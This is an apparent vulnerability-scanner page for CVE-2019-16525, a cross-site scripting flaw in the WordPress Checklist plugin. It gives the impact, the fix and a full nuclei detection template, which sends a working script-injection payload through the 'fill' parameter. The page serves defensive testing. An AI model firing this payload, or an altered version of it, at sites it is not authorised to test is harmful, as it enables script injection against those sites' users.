WordPress Checklist <1.1.9 - Cross-Site Scripting

mediumseverity

6.1CVSS score

5.5%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

WordPress Checklist plugin before 1.1.9 contains a cross-site scripting vulnerability. The fill parameter is not correctly filtered in the checklist-icon.php file.

Impact

Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update to the latest version of the WordPress Checklist plugin (1.1.9 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/checklist/readme.txt
Positive when: contains "Checklist" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/checklist/images/checklist-icon.php?&fill=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-16525 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-16525

info:
  name: WordPress Checklist <1.1.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Checklist plugin before 1.1.9 contains a cross-site scripting vulnerability. The fill parameter is not correctly filtered in the checklist-icon.php file.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Checklist plugin (1.1.9 or higher) to mitigate this vulnerability.
  reference:
    - https://wordpress.org/plugins/checklist/#developers
    - https://packetstormsecurity.com/files/154436/WordPress-Checklist-1.1.5-Cross-Site-Scripting.html
    - https://plugins.trac.wordpress.org/changeset/2155029/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16525
    - https://wpvulndb.com/vulnerabilities/9877
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-16525
    cwe-id: CWE-79
    epss-score: 0.05524
    epss-percentile: 0.92875
    cpe: cpe:2.3:a:checklist:checklist:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: checklist
    product: checklist
    framework: wordpress
  tags: cve,cve2019,xss,wp-plugin,packetstorm,wordpress,checklist,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/checklist/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Checklist'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/checklist/images/checklist-icon.php?&fill=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from